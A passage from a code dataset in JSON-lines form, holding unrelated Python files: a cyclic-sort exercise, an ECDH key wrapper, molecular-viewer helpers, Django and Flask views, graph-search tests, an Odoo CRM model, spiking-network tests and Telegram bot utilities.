aiotask_context.get(settings.TASK_CONTEXT_REQUEST_USER, default)\n except AttributeError:\n user = default\n return user\n\n\ndef context_correlation_id() -> str:\n \"\"\"\n Retrives the request/correlation id from the asyncio task.\n\n :return:\n \"\"\"\n try:\n correlation_id = aiotask_context.get(\n settings.TASK_CONTEXT_CORRELATION_ID, \"unknown\"\n )\n except AttributeError:\n correlation_id = \"not set\"\n return correlation_id\n","repo_name":"crazytruth/insanic","sub_path":"insanic/services/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"22427002770","text":"def find_first_k_missing_positive(array, k):\n res = []\n i = 0\n while i < len(array):\n if array[i] < 0:\n i += 1\n continue\n\n j = array[i] - 1\n if j < len(array) and array[i] != array[j]:\n array[i], array[j] = array[j], array[i]\n else:\n i += 1\n\n biggest_seen = 0\n for i in range(len(array)):\n biggest_seen = max(biggest_seen, array[i])\n if array[i] != i + 1:\n res.append(i + 1)\n if len(res) == k:\n return res\n\n for j in range(1, k - len(res) + 1):\n res.append(biggest_seen + j)\n\n return res\n\n\n# Output: [1, 2, 6]\n# Explanation: The smallest missing positive numbers are 1, 2 and 6.\nprint(find_first_k_missing_positive([3, -1, 4, 5, 5], k=3))\n\n# Output: [1, 5, 6]\n# Explanation: The smallest missing positive numbers are 1, 5 and 6.\nprint(find_first_k_missing_positive([2, 3, 4], k=3))\n\n# Output: [1, 2]\n# Explanation: The smallest missing positive numbers are 1 and 2.\nprint(find_first_k_missing_positive([-2, -3, 4], k=2))\n","repo_name":"nkavtur/python-examples","sub_path":"src/algorithms/cyclic_sort/ex8_find_k_first_positive_numbers.py","file_name":"ex8_find_k_first_positive_numbers.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71822114483","text":"from ctypes import *\n\n# ECDH key\nEcdhPriKey = b''\nEcdhPubKey = b''\n'''\nglobal EcdhPriKey, EcdhPubKey\nloader = cdll.LoadLibrary\nlib = loader(\"./libecdh_x64.so\")\npriKey = bytes(bytearray(2048))\npubKey = bytes(bytearray(2048))\nlenPri = c_int(0)\nlenPub = c_int(0)\npri = c_char_p(priKey)\npub = c_char_p(pubKey)\npLenPri = pointer(lenPri)\npLenPub = pointer(lenPub)\nnid = 713\nbRet = lib.GenEcdh(nid, pri, pLenPri, pub, pLenPub)\nif bRet:\n EcdhPriKey = priKey[:lenPri.value]\n EcdhPubKey = pubKey[:lenPub.value]\nelse:\n print('error')\n'''\n# 使用c接口生成ECDH本地密钥对\ndef GenEcdhKey():\n global EcdhPriKey, EcdhPubKey\n # 载入c模块\n loader = cdll.LoadLibrary\n #lib = loader(\"./ecdh_x64.dll\")\n lib = loader(\"./libecdh_x64.so\")\n # 申请内存\n priKey = bytes(bytearray(2048)) # 存放本地DH私钥\n pubKey = bytes(bytearray(2048)) # 存放本地DH公钥\n lenPri = c_int(0) # 存放本地DH私钥长度\n lenPub = c_int(0) # 存放本地DH公钥长度\n # 转成c指针传参\n pri = c_char_p(priKey)\n pub = c_char_p(pubKey)\n pLenPri = pointer(lenPri)\n pLenPub = pointer(lenPub)\n # secp224r1 ECC算法\n nid = 713\n # c函数原型:bool GenEcdh(int nid, unsigned char *szPriKey, int *pLenPri, unsigned char *szPubKey, int *pLenPub);\n bRet = lib.GenEcdh(nid, pri, pLenPri, pub, pLenPub)\n if bRet:\n # 从c指针取结果\n EcdhPriKey = priKey[:lenPri.value]\n EcdhPubKey = pubKey[:lenPub.value]\n #print(EcdhPriKey)\n #print(EcdhPubKey)\n else:\n print('aa')\n return bRet\n\n# 使用c接口生成ECDH本地密钥对\ndef GenEcdhKeyaa():\n global EcdhPriKey, EcdhPubKey\n # 载入c模块\n loader = cdll.LoadLibrary\n #lib = loader(\"./ecdh_x64.dll\")\n lib = loader(\"./libecdh_x64.so\")\n print(lib.add(1,2))\n\nGenEcdhKey()\n","repo_name":"luochaolun/ecdh","sub_path":"a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"74481034801","text":"import ipywidgets as widgets\n\nfrom ..config_widgets import ConfigWidgets\n\nfrom .cross_image_l import CrossImageL\nfrom .cross_image_r import CrossImageR\nfrom .display_button_l import DisplayButtonL\nfrom .display_button_r import DisplayButtonR\nfrom .structure_name_l import StructureNameL\nfrom .structure_name_r import StructureNameR\nfrom .viewer_l import ViewerL\nfrom .viewer_r import ViewerR\nfrom .windows_checkbox_l import WindowsCheckboxL\nfrom .windows_checkbox_r import WindowsCheckboxR\nfrom .windows_label import WindowsLabel\nfrom .windows_output_l import WindowsOutputL\nfrom .windows_output_r import WindowsOutputR\n\n\nclass ViewersWidgets(ConfigWidgets):\n def __init__(self):\n\n self.cross_image_l = CrossImageL()\n self.cross_image_r = CrossImageR()\n self.display_button_l = DisplayButtonL()\n self.display_button_r = DisplayButtonR()\n self.structure_name_l = StructureNameL()\n self.structure_name_r = StructureNameR()\n self.viewer_l = ViewerL()\n self.viewer_r = ViewerR()\n self.windows_checkbox_l = WindowsCheckboxL()\n self.windows_checkbox_r = WindowsCheckboxR()\n self.windows_label = WindowsLabel()\n self.windows_output_l = WindowsOutputL()\n self.windows_output_r = WindowsOutputR()\n\n self.widg_box = widgets.VBox(\n [\n self.windows_label.widget,\n widgets.HBox(\n [\n widgets.VBox(\n [\n widgets.HBox(\n [\n self.structure_name_l.widget,\n self.display_button_l.widget,\n self.cross_image_l.widget,\n self.windows_checkbox_l.widget,\n ]\n ),\n self.windows_output_l.widget,\n ]\n ),\n widgets.VBox(\n [\n widgets.HBox(\n [\n self.structure_name_r.widget,\n self.display_button_r.widget,\n self.cross_image_r.widget,\n self.windows_checkbox_r.widget,\n ]\n ),\n self.windows_output_r.widget,\n ]\n ),\n ]\n ),\n ]\n )\n\n def observe_changes(self, Figure):\n\n self.display_button_l.observe_change(\n Figure, self.viewer_l, self.structure_name_l, self.windows_output_l\n )\n self.display_button_r.observe_change(\n Figure, self.viewer_r, self.structure_name_r, self.windows_output_r\n )\n self.windows_checkbox_l.observe_change(self.windows_checkbox_r)\n self.windows_checkbox_r.observe_change(self.windows_checkbox_l)\n\n def handle_point_clicked(trace, points, selector):\n \"\"\"\n visualizes structure of clicked point and changes its marker symbol to a cross\n \"\"\"\n\n if not points.point_inds:\n return\n\n trace = points.trace_index\n formula = Figure.FigureWidget.data[trace].text[points.point_inds[0]]\n structure = Figure.df.iloc[points.point_inds[0]][\"Structure\"]\n\n if self.windows_checkbox_l.widget.value:\n self.structure_name_l.widget.value = formula\n self.viewer_l.view_structure(formula, Figure, self.windows_output_l)\n if self.windows_checkbox_r.widget.value:\n self.structure_name_l.widget.value = formula\n self.viewer_r.view_structure(formula, Figure, self.windows_output_r)\n\n Figure.batch_update(self)\n\n if Figure.path_to_structures:\n for name_trace in Figure.name_traces:\n Figure.trace[str(name_trace)].on_click(\n handle_point_clicked # actions performed after clicking points on the map\n )\n","repo_name":"nomad-coe/nomad-visu","sub_path":"src/nomad_visu/viewers_widgets/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"19225526096","text":"from Models import ShopModel, db, fullDB, shop_fields, RoomModel, room_fields, Room_Parser, complex_fields\nfrom flask import Flask\nfrom flask_restful import Api, Resource, reqparse, abort,fields, marshal_with\n\n\nclass Rooms(Resource):\n @marshal_with(complex_fields)\n def get(self):\n shops=ShopModel.query.all()\n shop_list=[]\n taken=[]\n for i in shops:\n room=RoomModel.query.filter_by(room_id=i.room_id).first()\n shop_list.append({\"shop_id\":i.shop_id,\"name\":i.name,\"industry\":i.industry ,\"room_id\":i.room_id,\"rent\":room.rent,\"debt\":room.debt})\n taken.append(i.room_id)\n print(shop_list)\n AllRooms=RoomModel.query.all()\n for i in AllRooms:\n if i.room_id not in taken:\n shop_list.append({\"shop_id\":-1,\"name\":\"empty\",\"industry\":\"empty\" ,\"room_id\":i.room_id,\"rent\":i.rent,\"debt\":i.debt})\n print(shop_list)\n return shop_list, 200","repo_name":"Swistusmen/REST","sub_path":"Rooms.py","file_name":"Rooms.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34437669775","text":"import os.path\n\nimport datetime\nfrom userInfo import PAYMENT_CSV_FILE_NAME \nfrom userInfo import MONTHLY_PAYMENT_AMOUNT \n\ndef get_days_since_last_payment():\n if os.path.isfile(PAYMENT_CSV_FILE_NAME):\n fh = open(PAYMENT_CSV_FILE_NAME, 'rb')\n first = fh.readline()\n fh.seek(-2, 2)\n while fh.read(1) != \"\\n\":\n fh.seek(-2, 1)\n last = fh.readline()\n lastDate = datetime.datetime.strptime(last.split(',')[0], \"%Y/%m/%d %H:%M:%S\")\n currentDate = datetime.datetime.now()\n delta = currentDate - lastDate\n return delta.days\n \n return 1\n\ndef calculate_payment_by_num_days(num_days):\n return round((MONTHLY_PAYMENT_AMOUNT * 12.0 / 365.0) * num_days, 2)\n \n \n ","repo_name":"LtKije/fooNelnet","sub_path":"fooNelnet/paymentCalculator.py","file_name":"paymentCalculator.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"29973361840","text":"from django.shortcuts import render\nfrom django.template.loader import render_to_string\nfrom storage.models import Storage\nfrom article.models import Article\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import JsonResponse\nfrom django.core.exceptions import ObjectDoesNotExist\n\n# Create your views here.\n\n@login_required(login_url='/accounts/login/')\ndef movement(request):\n\n return render(request, \"movement/movement.html\")\n\n\n@login_required(login_url='/accounts/login/')\ndef movementRemove(request):\n if request.method == \"POST\":\n\n articleObject = Article.objects.get(code__code__exact = request.POST[\"articleCode1\"])\n articleObject.stored = None\n articleObject.save()\n\n return render(request, \"hub/modules/toast.html\", context={\"toastName\":\"Error\", \"toastId\":\"errorToast\", \"toastText\":str(request.POST), \"toastType\":\"alert\"})\n\n return render(request, \"hub/modules/toast.html\", context={\"toastName\":\"Error\", \"toastId\":\"errorToast\", \"toastText\":'what are you trying to do', \"toastType\":\"alert\"})\n\n\n@login_required(login_url='/accounts/login/')\ndef movementStore(request):\n if request.method == \"POST\":\n hallo = []\n if request.POST[\"storageCode\"].startswith(\"s0\"):\n storageObject = Storage.objects.get(code__code__exact = request.POST[\"storageCode\"])\n elif request.POST[\"storageCode\"].startswith(\"a0\"):\n storageObject = Article.objects.get(code__code__exact = request.POST[\"storageCode\"])\n\n for formField in request.POST:\n if formField.startswith('articleCode'):\n articleObject = Article.objects.get(code__code__exact = request.POST[formField])\n articleObject.stored = storageObject.ref\n articleObject.save()\n hallo.append(articleObject)\n\n return render(request, \"hub/modules/toast.html\", context={\"toastName\":\"Error\", \"toastId\":\"errorToast\", \"toastText\":str(hallo), \"toastType\":\"alert\"})\n return render(request, \"hub/modules/toast.html\", context={\"toastName\":\"Error\", \"toastId\":\"errorToast\", \"toastText\":'what are you trying to do', \"toastType\":\"alert\"})\n\n\n@login_required(login_url='/accounts/login/')\ndef movementCodeInfo(request):\n if request.method == \"GET\":\n if request.GET['code'][0:2] == \"a0\":\n try:\n article = Article.objects.get(code__code__exact=request.GET['code'])\n except ObjectDoesNotExist:\n return JsonResponse({\"error\":\"no such a article in the System\", \"errorToast\":render_to_string(\"hub/modules/toast.html\", context={\"toastName\":\"Error\", \"toastId\":\"errorToast\", \"toastText\":\"no such a article in the System\", \"toastType\":\"alert\"})})\n\n if article.stored != None:\n stored = True\n else:\n stored = False\n\n returnJson = {\"error\":\"\", \"name\":article.template.name, \"code\":article.code.code, \"storable\":True, \"storage\":article.template.pType.ref, \"stored\":stored}\n return JsonResponse(returnJson)\n\n elif request.GET['code'][0:2] == \"s0\":\n try:\n storage = Storage.objects.get(code__code__exact=request.GET['code'])\n except ObjectDoesNotExist:\n return JsonResponse({\"error\":\"no such a storage in the System\", \"errorToast\":render_to_string(\"hub/modules/toast.html\", context={\"toastName\":\"Error\", \"toastId\":\"errorToast\", \"toastText\":\"no such a storage in the System\", \"toastType\":\"alert\"})})\n\n returnJson = {\"error\":\"\", \"name\":storage.name, \"code\":storage.code.code, \"storable\":False, \"storage\":True, \"stored\":False}\n return JsonResponse(returnJson)\n\n #code storable storage name\n\n\n return JsonResponse({\"error\":\"not a valide code\", \"errorToast\":render_to_string(\"hub/modules/toast.html\", context={\"toastName\":\"Error\", \"toastId\":\"errorToast\", \"toastText\":\"not a valide code\", \"toastType\":\"alert\"})})\n return JsonResponse({\"error\":\"what are you triing to do?\", \"errorToast\":render_to_string(\"hub/modules/toast.html\", context={\"toastName\":\"Error\", \"toastId\":\"errorToast\", \"toastText\":\"what are you triing to do?\", \"toastType\":\"alert\"})})\n\n","repo_name":"LDaxin/little_WMS","sub_path":"django_project/movement/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"35731126684","text":"import nglview\nimport tempfile\n\n\n\ndef fix_PDB_element_column(PDB_file):\n \"\"\"\n Some modelling packages do not write the element column in the PDB.\n This function returns a fixed PDB string with correct values for the element column.\n\n Assigns each atom's element based on the atom name field.\n Rules specified in the format specification:\n - Alignment of one-letter atom name such as C starts at column 14,\n while two-letter atom name such as FE starts at column 13.\n - Atom nomenclature begins with atom type.\n adapted from : https://github.com/haddocking/pdb-tools/blob/master/pdbtools/pdb_element.py\n \"\"\"\n def pad_line(line):\n \"\"\"\n Helper function to pad line to 80 characters in case it is shorter\n \"\"\"\n size_of_line = len(line)\n if size_of_line < 80:\n padding = 80 - size_of_line + 1\n line = line.strip('\\n') + ' ' * padding + '\\n'\n return line[:81] # 80 + newline character\n\n elements = set(\n ('H', 'D', 'HE', 'LI', 'BE', 'B', 'C', 'N', 'O', 'F', 'NE', 'NA', 'MG',\n 'AL', 'SI', 'P', 'S', 'CL', 'AR', 'K', 'CA', 'SC', 'TI', 'V', 'CR',\n 'MN', 'FE', 'CO', 'NI', 'CU', 'ZN', 'GA', 'GE', 'AS', 'SE', 'BR',\n 'KR', 'RB', 'SR', 'Y', 'ZR', 'NB', 'MO', 'TC', 'RU', 'RH', 'PD', 'AG',\n 'CD', 'IN', 'SN', 'SB', 'TE', 'I', 'XE', 'CS', 'BA', 'LA', 'CE', 'PR',\n 'ND', 'PM', 'SM', 'EU', 'GD', 'TB', 'DY', 'HO', 'ER', 'TM', 'YB',\n 'LU', 'HF', 'TA', 'W', 'RE', 'OS', 'IR', 'PT', 'AU', 'HG', 'TL', 'PB',\n 'BI', 'PO', 'AT', 'RN', 'FR', 'RA', 'AC', 'TH', 'PA', 'U', 'NP', 'PU',\n 'AM', 'CM', 'BK', 'CF', 'ES', 'FM', 'MD', 'NO', 'LR', 'RF', 'DB',\n 'SG', 'BH', 'HS', 'MT'))\n records = ('ATOM', 'HETATM', 'ANISOU')\n ret = ''\n with open(PDB_file, 'r') as f:\n lines = f.readlines()\n for line in lines:\n line = pad_line(line.strip('\\n'))\n if line.startswith(records):\n line = pad_line(line)\n atom_name = line[12:16]\n if atom_name[0].isalpha() and not atom_name[2:].isdigit():\n element = atom_name.strip()\n else:\n atom_name = atom_name.strip()\n if atom_name[0].isdigit():\n element = atom_name[1]\n else:\n element = atom_name[0]\n if element not in elements:\n element = ' ' # empty element in case we cannot assign\n print(\n 'fix_PDB_element_column(): WARNING, cannot assign element.'\n )\n line = line[:76] + element.rjust(2) + line[78:]\n ret += line + '\\n'\n return ret\n\n\ndef visualise(mol, coordinate_system=None):\n '''A helper function to visualise an ampal object in the notebook using nglview\n '''\n view = None\n with tempfile.NamedTemporaryFile(delete=True, suffix='.pdb') as tmp:\n tmp.write(mol.pdb.encode())\n tmp.seek(0) # Resets the buffer back to the first line\n view = nglview.show_file(tmp.name)\n if coordinate_system is not None:\n view = add_coordinate_system_to_view(view, coordinate_system)\n return view\n\ndef add_coordinate_system_to_view(view, coordinate_system):\n for v, name, color in zip(coordinate_system,\n ['x', 'y', 'z'],\n [[1, 0, 0], [0, 1, 0], [0, 0, 1]]):\n view.shape.add_arrow([0, 0, 0], 5*v, color, 0.5, name)\n return view","repo_name":"mosayebi/protein_design_with_isambard","sub_path":"protein_design/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22374655292","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 9 20:34:23 2019\n\n@author: Thiago\n\"\"\"\n\nfrom grafo import Grafo\nfrom Arvore import Arvore\nfrom algoritmos import busca_ordenada_grafo_local\n\n#variaveis\ninstancia_path = '/home/victor/Documentos/UFJF/IA/inteligencia_artificial/trabalho2/arad-bucarest.txt'\n\n#inicia o grafo principal\ng = Grafo(instancia_path) \n\n\n#verifica os nós\nprint(\"\\nVerifica os nós\\n\")\nids = []\nfor no in g.grafo:\n print(no.id, type(no.id), no.label_str)\n ids.append(no.id)\n \n#verifica a função getNo\nprint(\"\\nTesta getNo()\\n\")\nfor id in ids:\n no = g.getNo(id)\n print(no.id, no.label_str, no.getHeu())\n \n\n#verifica a função getAresta\nprint(\"\\nTesta getAresta()\\n\")\narestasOk = True\nfor no in g.grafo:\n for aresta in no.arestas:\n if g.getAresta(no.id, aresta.destino) == False:\n print(\"Aresta (%d, %d) não encontrada\" % no.id, aresta.destino)\n arestasOk=False\n else:\n print(\"Aresta (%d, %d)\" % (no.id, aresta.destino))\nif arestasOk:\n print(\"\\nArestas Ok\\n\")\n\ng.salvarArquivoGraphViz('test-arad.gv')\n\ng.salvarArquivoGraphViz(\"teste_grafo.gv\")\n\narvore = Arvore()\n\n#### Teste da estrutura de geração da arvore ####\n\n# a lista de abertos e fechados contem ids referentes aos nós da arvore\nlista_abertos = []\nlista_fechados = []\n\n\n#%% Insere a origem na arvore como a raiz\n\nlista_abertos.append(arvore.gerarRaiz(\"Arad\", 3, 96.5))\n\n\n\n#%% Teste de uma primeira iteração qualquer\n\n\n#obtem o id do pai na arvore\nid_pai = lista_abertos[0]\n\n#pra buscar no grafo, obtem o id do pai no grafo\nid_pai_no_grafo = arvore.getNo(id_pai).label_int\n\n#obtem uma lista de nós do grafo, como candidatos a filhos\ncandidatos = [(g.getNo(a.destino),a.peso) for a in g.getNo(id_pai_no_grafo).arestas]\n\nfor no_grafo, peso_caminho in candidatos:\n \n #se o candidato não estiver no caminho\n # !!! aqui entra as condições da busca !!!\n if arvore.verificaNoCaminhoWithLabelInt(id_pai, no_grafo.id) == False:\n \n #gera um filho pra esse caminho\n filho = arvore.gerarFilho(\n id_pai, \n no_grafo.label_str, \n no_grafo.id, \n peso_caminho, \n no_grafo.getHeu()\n )\n #coloca na lista de abertos\n lista_abertos.append(filho)\n\n#depois de gerar os filhos, adiciona a lista de fechados \nlista_fechados.append(id_pai)\n\n\n\n#%% Teste de uma segunda iteração qualquer\n\n\n#gerando os filhos (#2)\nid_pai = lista_abertos[1]\n\n#pra buscar no grafo, obtem o id do pai no grafo\nid_pai_no_grafo = arvore.getNo(id_pai).label_int\n\n#obtem uma lista de nós do grafo, como candidatos a filhos\ncandidatos = [(g.getNo(a.destino),a.peso) for a in g.getNo(id_pai_no_grafo).arestas]\n\nfor no_grafo, peso_caminho in candidatos:\n \n #se o candidato não estiver no caminho\n # !!! aqui entra as condições da busca !!!\n if arvore.verificaNoCaminhoWithLabelInt(id_pai, no_grafo.id) == False:\n \n #gera um filho pra esse caminho\n filho = arvore.gerarFilho(\n id_pai, \n no_grafo.label_str, \n no_grafo.id, \n peso_caminho, \n no_grafo.getHeu()\n )\n #coloca na lista de abertos\n lista_abertos.append(filho)\n\n#depois de gerar os filhos, adiciona a lista de fechados \nlista_fechados.append(id_pai)\n\n\n\n#%% Teste de uma terceira iteração qualquer\n\n\n\n#gerando os filhos\nid_pai = lista_abertos[3]\n\n#pra buscar no grafo, obtem o id do pai no grafo\nid_pai_no_grafo = arvore.getNo(id_pai).label_int\n\n#obtem uma lista de nós do grafo, como candidatos a filhos\ncandidatos = [(g.getNo(a.destino),a.peso) for a in g.getNo(id_pai_no_grafo).arestas]\n\nfor no_grafo, peso_caminho in candidatos:\n \n #se o candidato não estiver no caminho\n # !!! aqui entra as condições da busca !!!\n if arvore.verificaNoCaminhoWithLabelInt(id_pai, no_grafo.id) == False:\n \n #gera um filho pra esse caminho\n filho = arvore.gerarFilho(\n id_pai, \n no_grafo.label_str, \n no_grafo.id, \n peso_caminho, \n no_grafo.getHeu()\n )\n #coloca na lista de abertos\n lista_abertos.append(filho)\n\n#depois de gerar os filhos, adiciona a lista de fechados \nlista_fechados.append(id_pai)\n \n\n\n#%% Salva o resultado da arvore\n\n \narvore.salvarArquivoGraphViz(\"teste_arvore.gv\")\n\n(a,_,_) = busca_ordenada_grafo_local(g,3,13)\n\na.salvarArquivoGraphViz(\"teste_busca.gv\")","repo_name":"thiago9864/inteligencia_artificial","sub_path":"trabalho2/trabalho.py","file_name":"trabalho.py","file_ext":"py","file_size_in_byte":4856,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40195706310","text":"\nimport logging\n# from mailchimp3 import MailChimp\nfrom odoo import api, fields, models, _\nfrom odoo.models import expression\nfrom odoo.exceptions import UserError, ValidationError\nimport multiprocessing as mp\n\n_logger = logging.getLogger(__name__)\n\n\nclass CrmLead(models.Model):\n _inherit = 'crm.lead'\n user_id = fields.Many2one(domain='_domain_operating_users')\n is_untraceable = fields.Boolean(string='Ilocalizable', compute='_is_untraceable', store=True)\n\n\n domain='_domain_package_type'\n\n @api.model\n def _domain_operating_users(self):\n users = self.env['res.users'].with_context(active_test=False).search([('active_isep', '=', True)])\n\n\n\n\n @api.depends('call_ids','call_ids.state')\n def _is_untraceable(self):\n \"\"\"\n pool = mp.Pool(mp.cpu_count())\n args = (rec for rec in self)\n pool.map_async(_finaluntraceable,args)\n pool.close()\n pool.join()\n \"\"\" \n for rec in self:\n flag = False\n if rec.call_ids:\n for call in rec.call_ids:\n if call.state and call.state == 'done':\n flag = True\n break\n rec.is_untraceable = not flag\n \"\"\"\n def _finaluntraceable(self,args):\n flag = False\n if args.call_ids:\n for call in args.call_ids:\n if call.state and call.state == 'done':\n flag = True\n break\n rec.is_untraceable = not flag\n \"\"\"\n\n\n","repo_name":"yeivers/odoo-16-isep-","sub_path":"addons_uisep/fanlab_odoo_rapport/models/crm_lead.py","file_name":"crm_lead.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26990428988","text":"import pytest\nfrom snn_hfo_detection.functions.signal_to_spike.default import signal_to_spike\nfrom snn_hfo_detection.functions.signal_to_spike.utility import find_thresholds, SpikeTrains, SignalToSpikeParameters, concatenate_spikes\nfrom tests.utility import *\n\n\n@pytest.mark.parametrize(\n 'signals, time, window, sample_ratio, scaling_factor, expected_mean_threshold',\n [(np.array([0, 1]),\n np.array([0, 1]), 1, 0.9, 0.1, 0.1),\n (np.array([-0.6, -2, -5, 10, 20, 0.2, -3, 0.4]),\n np.arange(0, 0.8, 0.1), 1, 0.9, 0.6, 15.0),\n (np.arange(-20, 20, 0.1),\n np.arange(0, 4, 0.01), 1, 0.4, 0.6, -6)]\n)\ndef test_find_thresholds(signals, time, window, sample_ratio, scaling_factor, expected_mean_threshold):\n mean_threshold = find_thresholds(\n signals, time, window, sample_ratio, scaling_factor)\n assert expected_mean_threshold == pytest.approx(mean_threshold)\n\n\n@pytest.mark.parametrize(\n 'sample_ratio',\n [-1, 0, 1, 2]\n)\ndef test_find_thresholds_does_not_accept_invalid_percentages(sample_ratio):\n with pytest.raises(ValueError):\n find_thresholds(\n signals=np.array([0, 1]),\n times=np.array([0, 1]),\n window_size=1,\n sample_ratio=sample_ratio,\n scaling_factor=0.1)\n\n\n@pytest.mark.parametrize(\n 'parameters, expected_spike_trains',\n [(SignalToSpikeParameters(\n signal=[1, 0],\n threshold_up=3,\n threshold_down=0.5,\n times=[0, 1],\n refractory_period=0.01,\n interpolation_factor=1),\n SpikeTrains(up=[], down=[])),\n (SignalToSpikeParameters(\n signal=[0, 10, -20],\n threshold_up=3,\n threshold_down=0.5,\n times=[0, 1, 2],\n refractory_period=0.01,\n interpolation_factor=10),\n SpikeTrains(up=[0.3157894736842105, 0.631578947368421, 0.9473684210526315],\n down=[1.0526315789473684, 1.1578947368421053,\n 1.263157894736842, 1.3684210526315788, 1.4736842105263157,\n 1.5789473684210527, 1.6842105263157894, 1.789473684210526,\n 1.894736842105263, 2.0])),\n (SignalToSpikeParameters(\n signal=np.arange(-20, 20, 0.1),\n threshold_up=3,\n threshold_down=-5,\n times=np.arange(0, 4, 0.01),\n refractory_period=0.6,\n interpolation_factor=100),\n SpikeTrains(up=[0.6015075376884422, 1.2030150753768845,\n 1.8045226130653267, 2.406030150753769,\n 3.007537688442211, 3.6090452261306534],\n down=[0.0]))]\n)\ndef test_signal_to_spike_refractory(parameters, expected_spike_trains):\n spike_trains = signal_to_spike(parameters)\n assert_are_lists_approximately_equal(\n spike_trains.up, expected_spike_trains.up)\n assert_are_lists_approximately_equal(\n spike_trains.down, expected_spike_trains.down)\n\n\n@ pytest.mark.parametrize(\n 'spikes, expected_concatenation',\n [([np.array([1, 2, 3])], ([1, 2, 3], [0, 0, 0])),\n ([np.array([1, 2, 3]), np.array([4, 5, 6])], ([1, 2, 3, 4, 5, 6], [0, 0, 0, 1, 1, 1]))])\ndef test_concatenate_spikes(spikes, expected_concatenation):\n spike_times, neuron_ids = concatenate_spikes(spikes)\n expected_spike_times, expected_neuron_ids = expected_concatenation\n assert_are_lists_approximately_equal(spike_times, expected_spike_times)\n assert_are_lists_approximately_equal(neuron_ids, expected_neuron_ids)\n","repo_name":"kburel/snn-hfo-detection","sub_path":"tests/functions/test_signal_to_spike.py","file_name":"test_signal_to_spike.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"42479849871","text":"\"\"\"Contain utils for bot handlers.\"\"\"\nfrom typing import Union\n\nfrom aiogram.dispatcher.storage import FSMContextProxy, FSMContext\nfrom aiogram import types\nfrom .keboards import StartKeyboard\nfrom .context import DishInBotRepr, TelegramUser\nfrom .setup import bot, dp, db_manager, lang_translator\nimport logging\n\n\ndef get_cur_dish(data: FSMContextProxy) -> DishInBotRepr:\n \"\"\"\n Extract dish from context manager.\n\n :param data: context manager storage\n :return: DishInBotRepr\n \"\"\"\n return data['dishes'][data['cur_dish_id']]\n\n\ndef get_cur_user(data: FSMContextProxy) -> TelegramUser:\n \"\"\"\n Extract user from context manager.\n\n :param data: context manager storage\n :return: TelegramUser\n \"\"\"\n return data['user']\n\n\ndef next_dish(data: FSMContextProxy):\n \"\"\"\n Increase id in current user dishes list and bound it.\n\n :param data: context manager storage\n :return: None\n \"\"\"\n cur_dish_id = data['cur_dish_id']\n data['cur_dish_id'] = min(cur_dish_id + 1, len(data['dishes']) - 1)\n\n\ndef prev_dish(data: FSMContextProxy):\n \"\"\"\n Decrease id in current user dishes list and bound it.\n\n :param data: context manager storage\n :return: None\n \"\"\"\n cur_dish_id = data['cur_dish_id']\n data['cur_dish_id'] = max(cur_dish_id - 1, 0)\n\n\nasync def to_start(update: Union[types.Message, types.CallbackQuery],\n text: str) -> None:\n \"\"\"\n Reset state and send message.\n\n :param update: aiogram object with input data\n :param text: text\n :return: None\n \"\"\"\n state = get_cur_state(get_chat_id(update))\n await state.reset_state(with_data=False)\n await send_text_msg(\n update=update,\n text=text,\n keyboard=StartKeyboard(),\n )\n\n\ndef filter_dishes(dishes: list[DishInBotRepr]) -> list[DishInBotRepr]:\n \"\"\"Limit the number of dishes shown to the user to 10.\"\"\"\n return dishes[:10]\n\n\ndef format_dishes_for_message(dishes: list[DishInBotRepr]) -> str:\n \"\"\"\n Format dishes for bot message to show user.\n\n :param dishes: list of dishes\n :return: str\n \"\"\"\n ans = ''\n for i, dish in enumerate(dishes):\n ans += f'{i}) {dish.title}\\n'\n return ans\n\n\nasync def init_fsm_proxy(state: FSMContext, to_store: dict):\n \"\"\"\n Initialize user session dict with data.\n\n :param state: position in the final state machine\n :param to_store: dict with info to store\n :return:\n \"\"\"\n async with state.proxy() as data:\n for key, value in to_store.items():\n data[key] = value\n\n\ndef get_user_dishes(user_id: int) -> list[DishInBotRepr]:\n \"\"\"Get last 10 dishes from db_manager.\"\"\"\n dishes = filter_dishes(\n db_manager.get_user_dishes(user_id)\n )\n return dishes\n\n\nasync def save_history_dish_in_proxy(dish: DishInBotRepr, state: FSMContext):\n \"\"\"Save chose dish from history to proxy.\"\"\"\n async with state.proxy() as data:\n data['history_dish'] = dish\n\n\nasync def get_proxy_history_dish(state: FSMContext) -> DishInBotRepr:\n \"\"\"Get saved dish in proxy.\"\"\"\n async with state.proxy() as data:\n return data['history_dish']\n\n\ndef get_chat_id(update: Union[types.Message, types.CallbackQuery]) -> int:\n \"\"\"Extract chat id by Update object.\"\"\"\n return update.from_user.id\n\n\ndef get_cur_state(chat_id: int) -> FSMContext:\n \"\"\"Get current state in FSM.\"\"\"\n state = dp.current_state(chat=chat_id, user=chat_id)\n return state\n\n\nasync def send_text_msg(update: Union[types.Message, types.CallbackQuery],\n text: 